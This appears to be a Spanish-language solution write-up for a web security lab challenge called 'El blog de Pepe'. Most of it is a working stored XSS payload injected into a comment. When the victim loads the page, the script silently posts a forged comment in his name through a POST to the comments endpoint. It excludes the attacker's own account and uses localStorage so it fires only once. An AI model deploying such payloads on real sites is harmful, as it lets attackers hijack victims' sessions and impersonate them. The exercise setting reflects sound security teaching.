SOLUCIÓN: El blog de Pepe

SOLUCIÓN SUGERIDA

1. El objetivo es realizar una inyección XSS almacenada en el blog de Pepe

2. Cuando Pepe acceda a leer los comentarios, nuestro script se ejecutará en su navegador

3. El script debe publicar automáticamente el comentario "Voy a derogar la ley 1542-A"

4. Debemos asegurarnos de que el script solo se ejecute una vez y no cuando el usuario "teny" acceda

5. La solución utiliza localStorage para evitar múltiples envíos del mismo comentario

CÓDIGO DE LA SOLUCIÓN

El siguiente código JavaScript debe inyectarse en un comentario:

Hola! <script>
window.addEventListener("load", enviarComentario, false);

function enviarComentario() {
    const nombreUsuario = document.getElementById("nombre_usuario").innerText;

    // Verifica si ya se envió el comentario en este navegador
    const yaComentado = localStorage.getItem("comentarioEnviado");

    if (nombreUsuario !== "teny" && !yaComentado) {
        const comentario = "Voy a derogar la ley 1542-A";

        // Armar el cuerpo con formato x-www-form-urlencoded
        const params = new URLSearchParams();
        params.append("txtComentario", comentario);
        params.append("btnEnviar", "Enviar");

        // Enviar la petición vía fetch
        fetch("/comentarios.php", {
            method: "POST",
            headers: {
                "Content-Type": "application/x-www-form-urlencoded"
            },
            body: params.toString()
        })
        .then(response => {
            if (response.ok) {
                console.log("Comentario enviado correctamente.");
                localStorage.setItem("comentarioEnviado", "true");
            } else {
                console.error("Error en la respuesta del servidor.");
            }
        })
        .catch(error => {
            console.error("Error en la petición:", error);
        });
    } else {
        console.log("No se envió el comentario (usuario excluido o ya enviado antes).");
    }
}
</script>

EXPLICACIÓN DEL CÓDIGO

  • Event Listener: Espera a que la página cargue completamente antes de ejecutar la función
  • Detección de usuario: Verifica que el usuario no sea "teny" para evitar auto-ejecución
  • Control de ejecución: Usa localStorage para evitar enviar múltiples comentarios
  • Envío de datos: Utiliza fetch para enviar una solicitud POST al endpoint de comentarios
  • Formato correcto: Los datos se envían con el formato application/x-www-form-urlencoded